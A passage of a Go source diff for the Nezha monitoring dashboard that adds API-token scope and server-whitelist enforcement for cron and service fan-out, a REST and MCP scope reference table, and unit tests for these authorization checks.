assertPATCoverFanoutWithinWhitelist 上； +// 写侧/运行时入口共用同一裁决，避免两边语义漂移。 +func rejectImplicitCoverForLimitedPATWithOwner(c *gin.Context, cover uint8, denyServers []uint64, ownerUID uint64) error { + // 写侧只关心 CronCoverAll 的 deny-list 是否充分——CoverIgnoreAll 的 + // allow-list 在 checkCronServerListPermission 已经过 Server.HasPermission + // 收口；CoverAlertTrigger 在 fire 时再校验。保留这条提前 return 与 + // 老语义完全一致，避免重复 403。 + if cover != model.CronCoverAll { + return nil + } + return assertPATCoverFanoutWithinWhitelist(c, ownerUID, coverModeAllMinusDeny, denyServers) +} + +// rejectImplicitServiceCoverForLimitedPAT is the service-monitor analogue. +// ServiceCoverAll treats SkipServers as a deny-set: DispatchTask iterates +// ServerShared.Range and probes every server owned by the service owner that +// is NOT marked true in SkipServers. A server-limited PAT must therefore mark +// every owner-visible server outside its whitelist as skipped. +// +// 同样靠 assertPATCoverFanoutWithinWhitelist 落地，与 cron 写侧/运行时入口 +// 共用一条裁决路径。 +func rejectImplicitServiceCoverForLimitedPAT(c *gin.Context, cover uint8, skipServers map[uint64]bool, ownerUID uint64) error { + if cover != model.ServiceCoverAll { + return nil + } + denyServers := skipServersToDenyList(skipServers) + return assertPATCoverFanoutWithinWhitelist(c, ownerUID, coverModeAllMinusDeny, denyServers) +} + +// skipServersToDenyList 把 service monitor 用的 SkipServers map 展平成 +// 共享底座需要的切片形态，并按 true 过滤。写侧/运行时入口共用，避免重复 +// 写遍历逻辑。 +func skipServersToDenyList(skip map[uint64]bool) []uint64 { + out := make([]uint64, 0, len(skip)) + for id, mark := range skip { + if mark { + out = append(out, id) + } + } + return out +} + +// enforcePATCronDispatchScope 是 cron 运行时入口（manualTriggerCron / +// batchDeleteCron）的 PAT 收口。把 cr.Cover / cr.Servers 翻译成 coverMode +// 后交给共享底座；语义与写侧 rejectImplicitCoverForLimitedPAT* 严格对齐， +// 闭合「写时拦下 / 运行时回放同一条规则」的不变量，避免历史脏数据 + 受 +// 限 PAT 形成越权 fan-out。 +func enforcePATCronDispatchScope(c *gin.Context, cr *model.Cron) error { + if cr == nil { + return nil + } + return assertPATCoverFanoutWithinWhitelist(c, cr.GetUserID(), cronCoverMode(cr.Cover), cr.Servers) +} + +// enforcePATServiceDispatchScope 是 service monitor 运行时入口 +// （batchDeleteService 等）的 PAT 收口。SkipServers 是 map[uint64]bool， +// 这里展开成 deny-list 切片喂给共享底座；语义与 +// rejectImplicitServiceCoverForLimitedPAT 严格对齐。 +func enforcePATServiceDispatchScope(c *gin.Context, svc *model.Service) error { + if svc == nil { + return nil + } + return assertPATCoverFanoutWithinWhitelist(c, svc.GetUserID(), serviceCoverMode(svc.Cover), skipServersToDenyList(svc.SkipServers)) +} + +// enforcePATTriggerTaskScope 阻止 service:write / alertrule:write 的 PAT 通过绑定 +// trigger task 越权执行 cron。运行时 alertsentinel/servicesentinel 触发 +// CronShared.SendTriggerTasks 时没有 PAT 上下文，CheckPermission 也只校验 +// ownership/白名单而非 scope，所以必须在写侧对 PAT 额外要求 ScopeCronExec。 +func enforcePATTriggerTaskScope(c *gin.Context, failTasks, recoverTasks []uint64) error { + if len(failTasks) == 0 && len(recoverTasks) == 0 { + return nil + } + tok := APITokenFromContext(c) + if tok == nil { + return nil + } + if !tok.HasScope(model.ScopeCronExec) { + return singleton.Localizer.ErrorT("permission denied") + } + return nil +} + +func userCanViewServer(c *gin.Context, server *model.Server) bool { + if server == nil { + return false + } + // PAT 白名单优先于 admin/owner 早返回：admin 自己签发的 server_ids 受限 PAT + // 必须只能看见白名单里的 server，否则给自己设的硬边界形同虚设。 + if !patAllowsServer(c, server.GetID()) { + return false + } + if callerIsAdmin(c) { + return true + } + if _, isMember := c.Get(model.CtxKeyAuthorizedUser); isMember { + if server.HasPermission(c) { + return true + } + return !server.HideForGuest + } + return !server.HideForGuest +} + +func userCanViewService(c *gin.Context, service *model.Service) bool { + if service == nil { + return false + } + // HideForGuest 默认公开，置 true 才对 guest 隐藏，语义与 Server.HideForGuest 对齐。 + if service.HideForGuest { + if _, isMember := c.Get(model.CtxKeyAuthorizedUser); !isMember { + return false + } + // 必须先让 Service.HasPermission 跑 PAT 白名单收口，再让 admin 在无 PAT 请求上 + // 短路放行，否则 admin 自签的受限 PAT 会被早返回绕过 list/history 的 PAT 边界。 + return service.HasPermission(c) + } + return true +} + +func assertOwnsNotificationGroup(c *gin.Context, groupID uint64) error { + if groupID == 0 { + return nil + } + + var ng model.NotificationGroup + if err := singleton.DB.First(&ng, groupID).Error; err != nil { + return singleton.Localizer.ErrorT("notification group id %d does not exist", groupID) + } + if !ng.HasPermission(c) { + return singleton.Localizer.ErrorT("permission denied") + } + return nil +} diff --git a/cmd/dashboard/controller/permissions_cover_fanout_test.go b/cmd/dashboard/controller/permissions_cover_fanout_test.go new file mode 100644 index 00000000..bc0676f2 --- /dev/null +++ b/cmd/dashboard/controller/permissions_cover_fanout_test.go @@ -0,0 +1,182 @@ +package controller + +// 共享底座 assertPATCoverFanoutWithinWhitelist 的单元测试。 +// +// 这一层不知道 cron / service，只知道三种 coverMode；测试矩阵覆盖 +// {JWT / 无白名单 PAT / 有白名单 PAT × 充分 deny / 不充分 deny / allow-list +// 内 / 越界}，钉死「写侧 rejectImplicit* 与运行时 enforce* 必须共用同一裁 +// 决路径」这条不变量。任何后续重构改动了规则但忘了同步两侧，这里会先于 +// 资源专用入口测试暴露问题。 + +import ( + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupCoverFanoutFixture(t *testing.T) { + t.Helper() + gin.SetMode(gin.TestMode) + ensureLocalizerForStreamTests(t) + + originalServer := singleton.ServerShared + sc := singleton.NewEmptyServerClassForTest() + for _, id := range []uint64{1, 2, 3} { + s := &model.Server{} + s.ID = id + s.SetUserID(100) + sc.InsertForTest(s) + } + other := &model.Server{} + other.ID = 9 + other.SetUserID(200) + sc.InsertForTest(other) + singleton.ServerShared = sc + + t.Cleanup(func() { singleton.ServerShared = originalServer }) +} + +func ctxWithPAT(t *testing.T, tok *model.APIToken) *gin.Context { + t.Helper() + c, _ := gin.CreateTestContext(nil) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + return c +} + +func TestAssertPATCoverFanout_JWTAlwaysPasses(t *testing.T) { + setupCoverFanoutFixture(t) + c := ctxWithPAT(t, nil) + + require.NoError(t, assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllMinusDeny, nil)) + require.NoError(t, assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllowList, []uint64{2, 3})) + require.NoError(t, assertPATCoverFanoutWithinWhitelist(c, 100, coverModePinnedByCaller, []uint64{2, 3})) +} + +func TestAssertPATCoverFanout_UnscopedPATAlwaysPasses(t *testing.T) { + setupCoverFanoutFixture(t) + tok := &model.APIToken{ID: 1, UserID: 100} + c := ctxWithPAT(t, tok) + + require.NoError(t, assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllMinusDeny, nil), + "PAT without server whitelist must not be restricted by cover-fanout guard") + require.NoError(t, assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllowList, []uint64{2, 3})) +} + +func TestAssertPATCoverFanout_AllMinusDeny_RejectsInsufficientDeny(t *testing.T) { + setupCoverFanoutFixture(t) + tok := &model.APIToken{ID: 1, UserID: 100} + tok.SetServerIDs([]uint64{1}) + c := ctxWithPAT(t, tok) + + err := assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllMinusDeny, []uint64{1}) + assert.Error(t, err, "deny-list covering only whitelisted server 1 still fans out to owner servers 2/3") + + err = assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllMinusDeny, []uint64{2}) + assert.Error(t, err, "deny-list missing owner server 3 must be rejected") +} + +func TestAssertPATCoverFanout_AllMinusDeny_AcceptsSufficientDeny(t *testing.T) { + setupCoverFanoutFixture(t) + tok := &model.APIToken{ID: 1, UserID: 100} + tok.SetServerIDs([]uint64{1}) + c := ctxWithPAT(t, tok) + + err := assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllMinusDeny, []uint64{2, 3}) + assert.NoError(t, err, "deny-list covers every owner server outside the PAT whitelist; must pass") +} + +func TestAssertPATCoverFanout_AllowList_RejectsOutsideWhitelist(t *testing.T) { + setupCoverFanoutFixture(t) + tok := &model.APIToken{ID: 1, UserID: 100} + tok.SetServerIDs([]uint64{1}) + c := ctxWithPAT(t, tok) + + err := assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllowList, []uint64{1, 2}) + assert.Error(t, err, "allow-list containing non-whitelisted server 2 must be rejected") +} + +func TestAssertPATCoverFanout_AllowList_AcceptsInsideWhitelist(t *testing.T) { + setupCoverFanoutFixture(t) + tok := &model.APIToken{ID: 1, UserID: 100} + tok.SetServerIDs([]uint64{1}) + c := ctxWithPAT(t, tok) + + require.NoError(t, assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllowList, []uint64{1})) + require.NoError(t, assertPATCoverFanoutWithinWhitelist(c, 100, coverModeAllowList, nil), + "empty allow-list is the degenerate matches-nothing case; not a bypass") +} + +func TestAssertPATCoverFanout_PinnedByCaller_PassesAlways(t *testing.T) { + setupCoverFanoutFixture(t) + tok := &model.APIToken{ID: 1, UserID: 100} + tok.SetServerIDs([]uint64{1}) + c := ctxWithPAT(t, tok) + + require.NoError(t, assertPATCoverFanoutWithinWhitelist(c, 100, coverModePinnedByCaller, []uint64{2, 3}), + "alert-trigger dispatch pins the target server at fire time; assertPATCoverFanoutWithinWhitelist must not pre-judge") +} + +func TestCronCoverMode_KnownValues(t *testing.T) { + assert.Equal(t, coverModeAllMinusDeny, cronCoverMode(model.CronCoverAll)) + assert.Equal(t, coverModeAllowList, cronCoverMode(model.CronCoverIgnoreAll)) + assert.Equal(t, coverModePinnedByCaller, cronCoverMode(model.CronCoverAlertTrigger)) +} + +func TestServiceCoverMode_KnownValues(t *testing.T) { + assert.Equal(t, coverModeAllMinusDeny, serviceCoverMode(model.ServiceCoverAll)) + assert.Equal(t, coverModeAllowList, serviceCoverMode(model.ServiceCoverIgnoreAll)) +} + +func TestSkipServersToDenyList_FiltersOnlyTrue(t *testing.T) { + got := skipServersToDenyList(map[uint64]bool{1: true, 2: false, 3: true}) + assert.ElementsMatch(t, []uint64{1, 3}, got, + "only true entries are real skips; false-valued entries must not be promoted to deny-list") +} + +// 资源专用入口在底座上薄包装的契约：cron-runtime 与 service-runtime 必须 +// 调底座，因此底座在「不充分 deny-list」时返回的 error 必须穿透到入口。 +func TestEnforcePATCronDispatchScope_RelaysBaseDecision(t *testing.T) { + setupCoverFanoutFixture(t) + tok := &model.APIToken{ID: 1, UserID: 100} + tok.SetServerIDs([]uint64{1}) + c := ctxWithPAT(t, tok) + + cr := &model.Cron{ + Common: model.Common{UserID: 100}, + Cover: model.CronCoverAll, + Servers: []uint64{1}, + } + err := enforcePATCronDispatchScope(c, cr) + assert.Error(t, err, "cover-all cron whose deny-list only covers whitelisted server must be rejected") + + cr.Servers = []uint64{2, 3} + require.NoError(t, enforcePATCronDispatchScope(c, cr), + "deny-list covering every non-whitelisted owner server must pass") +} + +func TestEnforcePATServiceDispatchScope_RelaysBaseDecision(t *testing.T) { + setupCoverFanoutFixture(t) + tok := &model.APIToken{ID: 1, UserID: 100} + tok.SetServerIDs([]uint64{1}) + c := ctxWithPAT(t, tok) + + svc := &model.Service{ + Common: model.Common{UserID: 100}, + Cover: model.ServiceCoverAll, + SkipServers: map[uint64]bool{1: true}, + } + err := enforcePATServiceDispatchScope(c, svc) + assert.Error(t, err, "cover-all service whose SkipServers only marks whitelisted servers must be rejected") + + svc.SkipServers = map[uint64]bool{2: true, 3: true} + require.NoError(t, enforcePATServiceDispatchScope(c, svc), + "SkipServers covering every non-whitelisted owner server must pass") +} diff --git a/cmd/dashboard/controller/rest_scope_test.go b/cmd/dashboard/controller/rest_scope_test.go new file mode 100644 index 00000000..75e97767 --- /dev/null +++ b/cmd/dashboard/controller/rest_scope_test.go @@ -0,0 +1,205 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// setupRESTScopeTest 准备一个 PAT + 一个最小路由表，用于测 REST scope enforce。 +func setupRESTScopeTest(t *testing.T) (*httptest.Server, *model.APIToken, string, func()) { + t.Helper() + cleanupBase, uid := setupMCPTest(t) + + tok, plain := mkToken(t, uid, []string{model.ScopeInventoryRead}, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + patMw := apiTokenAuthMiddleware() + + r.GET("/server", + patMw, + restScopeMiddleware(model.ScopeInventoryRead), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + r.POST("/server/config", + patMw, + restScopeMiddleware(model.ScopeServerWrite), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + r.POST("/server-group", + patMw, + restScopeMiddleware(model.ScopeServerWrite), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + r.GET("/api-tokens", + patMw, + restPATForbiddenMiddleware(), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + return ts, tok, plain, func() { + ts.Close() + cleanupBase() + } +} + +func doReq(t *testing.T, ts *httptest.Server, method, path, token string) *http.Response { + t.Helper() + req, _ := http.NewRequest(method, ts.URL+path, bytes.NewReader([]byte("{}"))) + if token != "" { + req.Header.Set("Authorization", "Bearer "+token) + } + req.Header.Set("Content-Type", "application/json") + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + return resp +} + +func TestREST_PATWithMatchingScopeAllowed(t *testing.T) { + ts, _, tok, cleanup := setupRESTScopeTest(t) + defer cleanup() + resp := doReq(t, ts, "GET", "/server", tok) + defer resp.Body.Close() + require.Equal(t, http.StatusOK, resp.StatusCode) +} + +func TestREST_PATWithoutScopeDenied(t *testing.T) { + ts, _, tok, cleanup := setupRESTScopeTest(t) + defer cleanup() + resp := doReq(t, ts, "POST", "/server/config", tok) + defer resp.Body.Close() + require.Equal(t, http.StatusForbidden, resp.StatusCode) + var body model.CommonResponse[any] + require.NoError(t, json.NewDecoder(resp.Body).Decode(&body)) + require.False(t, body.Success) + require.Contains(t, body.Error, "nezha:server:write") +} + +func TestREST_SelfManagementForbidsPAT(t *testing.T) { + ts, _, tok, cleanup := setupRESTScopeTest(t) + defer cleanup() + resp := doReq(t, ts, "GET", "/api-tokens", tok) + defer resp.Body.Close() + require.Equal(t, http.StatusForbidden, resp.StatusCode) +} + +func TestREST_PATWildcardCoversAllVerbs(t *testing.T) { + cleanupBase, uid := setupMCPTest(t) + defer cleanupBase() + + tok, plain := mkToken(t, uid, []string{"nezha:server:*"}, nil) + _ = tok + + gin.SetMode(gin.TestMode) + r := gin.New() + patMw := apiTokenAuthMiddleware() + r.GET("/server/config/0", patMw, restScopeMiddleware(model.ScopeServerRead), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }) + r.POST("/server/config", patMw, restScopeMiddleware(model.ScopeServerWrite), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }) + r.POST("/file", patMw, restScopeMiddleware(model.ScopeServerDelete), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }) + r.POST("/terminal", patMw, restScopeMiddleware(model.ScopeServerExec), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }) + ts := httptest.NewServer(r) + defer ts.Close() + + for _, tc := range []struct { + method, path string + }{ + {"GET", "/server/config/0"}, + {"POST", "/server/config"}, + {"POST", "/file"}, + {"POST", "/terminal"}, + } { + resp := doReq(t, ts, tc.method, tc.path, plain) + resp.Body.Close() + require.Equal(t, http.StatusOK, resp.StatusCode, "%s %s should be allowed by nezha:server:*", tc.method, tc.path) + } +} + +func TestREST_NezhaAllGrantsEverything(t *testing.T) { + cleanupBase, uid := setupMCPTest(t) + defer cleanupBase() + + _, plain := mkToken(t, uid, []string{model.ScopeNezhaAll}, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + r.POST("/maintenance", + apiTokenAuthMiddleware(), + restScopeMiddleware(model.ScopeAdminAll), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + defer ts.Close() + + resp := doReq(t, ts, "POST", "/maintenance", plain) + defer resp.Body.Close() + require.Equal(t, http.StatusOK, resp.StatusCode) +} + +func TestREST_NoAuthGoesToJWTChain(t *testing.T) { + cleanupBase, _ := setupMCPTest(t) + defer cleanupBase() + + jwtCalled := false + fakeJwt := func(c *gin.Context) { + jwtCalled = true + c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "no jwt"}) + } + gin.SetMode(gin.TestMode) + r := gin.New() + r.GET("/server", + jwtOrPATAuthMiddleware(apiTokenAuthMiddleware(), fakeJwt), + restScopeMiddleware(model.ScopeInventoryRead), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + defer ts.Close() + + resp := doReq(t, ts, "GET", "/server", "") + resp.Body.Close() + require.True(t, jwtCalled, "JWT mw must be invoked when no PAT") + require.Equal(t, http.StatusUnauthorized, resp.StatusCode) +} + +func TestREST_BadPATShortCircuitsBeforeJWT(t *testing.T) { + cleanupBase, _ := setupMCPTest(t) + defer cleanupBase() + + jwtCalled := false + fakeJwt := func(c *gin.Context) { jwtCalled = true } + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + c.Set(model.CtxKeyRealIPStr, "203.0.113.99") + c.Next() + }) + r.GET("/server", + jwtOrPATAuthMiddleware(apiTokenAuthMiddleware(), fakeJwt), + restScopeMiddleware(model.ScopeInventoryRead), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + defer ts.Close() + + resp := doReq(t, ts, "GET", "/server", "nzp_bogus_token_value") + resp.Body.Close() + require.False(t, jwtCalled, "JWT mw must NOT run after bad PAT abort") + require.Equal(t, http.StatusUnauthorized, resp.StatusCode) + + var blocked model.WAF + err := singleton.DB.Where("block_identifier = ?", model.BlockIDToken).First(&blocked).Error + require.NoError(t, err, "bad PAT must trigger WAF BlockIP") + require.GreaterOrEqual(t, blocked.Count, uint64(1)) +} diff --git a/cmd/dashboard/controller/scope_allof_test.go b/cmd/dashboard/controller/scope_allof_test.go new file mode 100644 index 00000000..a8f4bc0c --- /dev/null +++ b/cmd/dashboard/controller/scope_allof_test.go @@ -0,0 +1,63 @@ +package controller + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +// H3 regression: file-manager sessions read/write/delete files, but the route +// only requires nezha:server:write. PAT scopes are advertised as fine-grained +// (read / write / delete / exec); allowing a write-only PAT to open an FM +// session that can list & remove files silently widens the scope. +func TestRestScopeAllOf_RequiresEveryScope(t *testing.T) { + mw := restScopeAllOf(model.ScopeServerRead, model.ScopeServerWrite, model.ScopeServerDelete) + + t.Run("rejects_token_missing_delete", func(t *testing.T) { + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + tok := &model.APIToken{ScopesCSV: "nezha:server:read,nezha:server:write"} + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + mw(c) + if !c.IsAborted() || w.Code != 403 { + t.Fatalf("missing delete scope must abort with 403, got aborted=%v code=%d", c.IsAborted(), w.Code) + } + }) + + t.Run("accepts_token_with_all_scopes", func(t *testing.T) { + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + tok := &model.APIToken{ScopesCSV: "nezha:server:read,nezha:server:write,nezha:server:delete"} + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + mw(c) + if c.IsAborted() { + t.Fatal("token carrying all required scopes must pass") + } + }) + + t.Run("jwt_callers_skip_check", func(t *testing.T) { + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + mw(c) + if c.IsAborted() { + t.Fatal("JWT (no PAT) must pass through restScopeAllOf unchanged") + } + }) + + t.Run("wildcard_resource_scope_satisfies_all", func(t *testing.T) { + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + tok := &model.APIToken{ScopesCSV: "nezha:server:*"} + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + mw(c) + if c.IsAborted() { + t.Fatal("nezha:server:* must satisfy server:read+write+delete") + } + }) +} diff --git a/cmd/dashboard/controller/scope_doc.go b/cmd/dashboard/controller/scope_doc.go new file mode 100644 index 00000000..b7ceeabe --- /dev/null +++ b/cmd/dashboard/controller/scope_doc.go @@ -0,0 +1,128 @@ +// Package controller — scope reference table for REST + MCP. +// +// Each REST endpoint under /api/v1/* and each MCP tool under /mcp requires a +// specific scope when authenticated via PAT (`Authorization: Bearer nzp_*`). +// JWT-authenticated requests skip scope enforcement. +// +// This file is the authoritative human + LLM-readable index. The actual +// enforcement lives in controller.go (REST) and mcp_tools_*.go (MCP). When +// you change an endpoint's scope requirement, update this table. +// +// # Scope naming +// +// nezha:{resource}:{verb} +// resource: inventory | server | service | alertrule | cron | ddns | nat | +// notification | notification-group | transfer | admin +// verb: read | write | delete | exec +// +// inventory vs server：inventory 管“能看到/能删哪些机器”（列出 server / +// server-group、删除 server / server-group、MCP server.list）；server 管对 +// 已知机器的运行态操作（exec / 文件读写 / 编辑配置 / metrics / server.get）。 +// +// nezha:* Admin-only superuser +// nezha:admin:* Admin-only user/waf/setting/online-user management +// nezha::* All actions on a resource +// +// # MCP tools (POST /mcp tools/call) +// +// meta.whoami — (any scope) +// server.list nezha:inventory:read +// server.get nezha:server:read +// server.exec nezha:server:exec +// fs.list nezha:server:read +// fs.read nezha:server:read +// fs.write nezha:server:write +// fs.delete nezha:server:delete +// fs.download_url nezha:server:read +// fs.upload_url nezha:server:write +// +// # REST endpoints (PAT required scope) +// +// GET /api/v1/server nezha:inventory:read +// PATCH /api/v1/server/{id} nezha:server:write +// GET /api/v1/server/config/{id} nezha:server:write +// POST /api/v1/server/config nezha:server:write +// POST /api/v1/batch-delete/server nezha:inventory:delete +// POST /api/v1/batch-move/server nezha:server:write +// POST /api/v1/force-update/server nezha:server:write +// POST /api/v1/server-group nezha:server:write +// PATCH /api/v1/server-group/{id} nezha:server:write +// POST /api/v1/batch-delete/server-group nezha:inventory:delete +// POST /api/v1/terminal nezha:server:exec +// GET /api/v1/ws/terminal/{id} nezha:server:exec +// POST /api/v1/file nezha:server:read+write+delete +// GET /api/v1/ws/file/{id} nezha:server:read+write+delete +// GET /api/v1/ws/server nezha:inventory:read +// GET /api/v1/server-group nezha:inventory:read +// GET /api/v1/service nezha:service:read +// GET /api/v1/service/server nezha:service:read +// GET /api/v1/service/{id}/history nezha:service:read +// GET /api/v1/server/{id}/service nezha:service:read +// GET /api/v1/server/{id}/metrics nezha:server:read +// +// GET /api/v1/transfer nezha:transfer:read +// POST /api/v1/transfer/{id}/cancel nezha:transfer:write +// POST /api/v1/transfer/{id}/retry nezha:transfer:write +// GET /api/v1/ws/transfer nezha:transfer:read +// +// GET /api/v1/service/list nezha:service:read +// POST /api/v1/service nezha:service:write +// PATCH /api/v1/service/{id} nezha:service:write +// POST /api/v1/batch-delete/service nezha:service:delete +// +// GET /api/v1/alert-rule nezha:alertrule:read +// POST /api/v1/alert-rule nezha:alertrule:write +// PATCH /api/v1/alert-rule/{id} nezha:alertrule:write +// POST /api/v1/batch-delete/alert-rule nezha:alertrule:delete +// +// GET /api/v1/cron nezha:cron:read +// POST /api/v1/cron nezha:cron:write +// PATCH /api/v1/cron/{id} nezha:cron:write +// POST /api/v1/cron/{id}/manual nezha:cron:exec +// POST /api/v1/batch-delete/cron nezha:cron:delete +// +// GET /api/v1/ddns nezha:ddns:read +// GET /api/v1/ddns/providers nezha:ddns:read +// POST /api/v1/ddns nezha:ddns:write +// PATCH /api/v1/ddns/{id} nezha:ddns:write +// POST /api/v1/batch-delete/ddns nezha:ddns:delete +// +// GET /api/v1/nat nezha:nat:read +// POST /api/v1/nat nezha:nat:write +// PATCH /api/v1/nat/{id} nezha:nat:write +// POST /api/v1/batch-delete/nat nezha:nat:delete +// +// GET /api/v1/notification nezha:notification:read +// POST /api/v1/notification nezha:notification:write +// PATCH /api/v1/notification/{id} nezha:notification:write +// POST /api/v1/batch-delete/notification nezha:notification:delete +// +// GET /api/v1/notification-group nezha:notification-group:read +// POST /api/v1/notification-group nezha:notification-group:write +// PATCH /api/v1/notification-group/{id} nezha:notification-group:write +// POST /api/v1/batch-delete/notification-group nezha:notification-group:delete +// +// GET /api/v1/user nezha:admin:* +// POST /api/v1/user nezha:admin:* +// POST /api/v1/batch-delete/user nezha:admin:* +// GET /api/v1/waf nezha:admin:* +// POST /api/v1/batch-delete/waf nezha:admin:* +// GET /api/v1/online-user nezha:admin:* +// POST /api/v1/online-user/batch-block nezha:admin:* +// PATCH /api/v1/setting nezha:admin:* +// POST /api/v1/maintenance nezha:admin:* +// +// # Endpoints permanently forbidden to PAT +// +// These are personal-account-management endpoints; a PAT must never call them +// (would allow self-elevation chains: PAT → mint stronger PAT → ...). +// `restPATForbiddenMiddleware` returns 403 to PAT-authenticated requests. +// +// POST /api/v1/refresh-token +// GET /api/v1/profile +// POST /api/v1/profile +// POST /api/v1/oauth2/{provider}/unbind +// GET /api/v1/api-tokens +// POST /api/v1/api-tokens +// DELETE /api/v1/api-tokens/{id} +package controller diff --git a/cmd/dashboard/controller/scope_doc_consistency_test.go b/cmd/dashboard/controller/scope_doc_consistency_test.go new file mode 100644 index 00000000..64a0d6fe --- /dev/null +++ b/cmd/dashboard/controller/scope_doc_consistency_test.go @@ -0,0 +1,161 @@ +package controller + +// Pins the human-readable PAT scope table in scope_doc.go to the actual +// REST routes registered in controller.go. Without this, the table drifts +// silently every time a route is added/changed — and the table is the +// source LLM clients (and our frontend SCOPE_OPTIONS copy) read from. +// +// The check is intentionally textual: scope_doc.go is a doc-only file with +// no runtime hooks, and routers() bakes scopes into closures at boot, so +// there is no cheap way to reflect them at test time without an invasive +// refactor. Instead we maintain a single canonical (method, path, scope) +// list here and assert both directions: +// - every entry appears verbatim in scope_doc.go +// - every scope-bearing line in scope_doc.go appears in the table +// Adding a new scoped route must update both files, and forgetting either +// is a compile-on-demand failure. + +import ( + "os" + "regexp" + "strings" + "testing" + + "github.com/stretchr/testify/require" +) + +type scopedRoute struct { + Method string + Path string + Scope string +} + +func canonicalRoutes() []scopedRoute { + return []scopedRoute{ + {"GET", "/api/v1/server", "nezha:inventory:read"}, + {"PATCH", "/api/v1/server/{id}", "nezha:server:write"}, + {"GET", "/api/v1/server/config/{id}", "nezha:server:write"}, + {"POST", "/api/v1/server/config", "nezha:server:write"}, + {"POST", "/api/v1/batch-delete/server", "nezha:inventory:delete"}, + {"POST", "/api/v1/batch-move/server", "nezha:server:write"}, + {"POST", "/api/v1/force-update/server", "nezha:server:write"}, + {"POST", "/api/v1/server-group", "nezha:server:write"}, + {"PATCH", "/api/v1/server-group/{id}", "nezha:server:write"}, + {"POST", "/api/v1/batch-delete/server-group", "nezha:inventory:delete"}, + {"POST", "/api/v1/terminal", "nezha:server:exec"}, + {"GET", "/api/v1/ws/terminal/{id}", "nezha:server:exec"}, + {"POST", "/api/v1/file", "nezha:server:read+write+delete"}, + {"GET", "/api/v1/ws/file/{id}", "nezha:server:read+write+delete"}, + // optional-auth scoped routes（controller.go:91-98）。这些 GET 端点既支持 + // 未登录访客，也接受 PAT；当走 PAT 路径时 restScopeMiddleware 会强制对应的 + // read scope。漏掉这一段会让 scope_doc.go 与实际 router 漂移而测试不报错。 + {"GET", "/api/v1/ws/server", "nezha:inventory:read"}, + {"GET", "/api/v1/server-group", "nezha:inventory:read"}, + {"GET", "/api/v1/service", "nezha:service:read"}, + {"GET", "/api/v1/service/server", "nezha:service:read"}, + {"GET", "/api/v1/service/{id}/history", "nezha:service:read"}, + {"GET", "/api/v1/server/{id}/service", "nezha:service:read"}, + {"GET", "/api/v1/server/{id}/metrics", "nezha:server:read"}, + + {"GET", "/api/v1/transfer", "nezha:transfer:read"}, + {"POST", "/api/v1/transfer/{id}/cancel", "nezha:transfer:write"}, + {"POST", "/api/v1/transfer/{id}/retry", "nezha:transfer:write"}, + {"GET", "/api/v1/ws/transfer", "nezha:transfer:read"}, + + {"GET", "/api/v1/service/list", "nezha:service:read"}, + {"POST", "/api/v1/service", "nezha:service:write"}, + {"PATCH", "/api/v1/service/{id}", "nezha:service:write"}, + {"POST", "/api/v1/batch-delete/service", "nezha:service:delete"}, + + {"GET", "/api/v1/alert-rule", "nezha:alertrule:read"}, + {"POST", "/api/v1/alert-rule", "nezha:alertrule:write"}, + {"PATCH", "/api/v1/alert-rule/{id}", "nezha:alertrule:write"}, + {"POST", "/api/v1/batch-delete/alert-rule", "nezha:alertrule:delete"}, + + {"GET", "/api/v1/cron", "nezha:cron:read"}, + {"POST", "/api/v1/cron", "nezha:cron:write"}, + {"PATCH", "/api/v1/cron/{id}", "nezha:cron:write"}, + {"POST", "/api/v1/cron/{id}/manual", "nezha:cron:exec"}, + {"POST", "/api/v1/batch-delete/cron", "nezha:cron:delete"}, + + {"GET", "/api/v1/ddns", "nezha:ddns:read"}, + {"GET", "/api/v1/ddns/providers", "nezha:ddns:read"}, + {"POST", "/api/v1/ddns", "nezha:ddns:write"}, + {"PATCH", "/api/v1/ddns/{id}", "nezha:ddns:write"}, + {"POST", 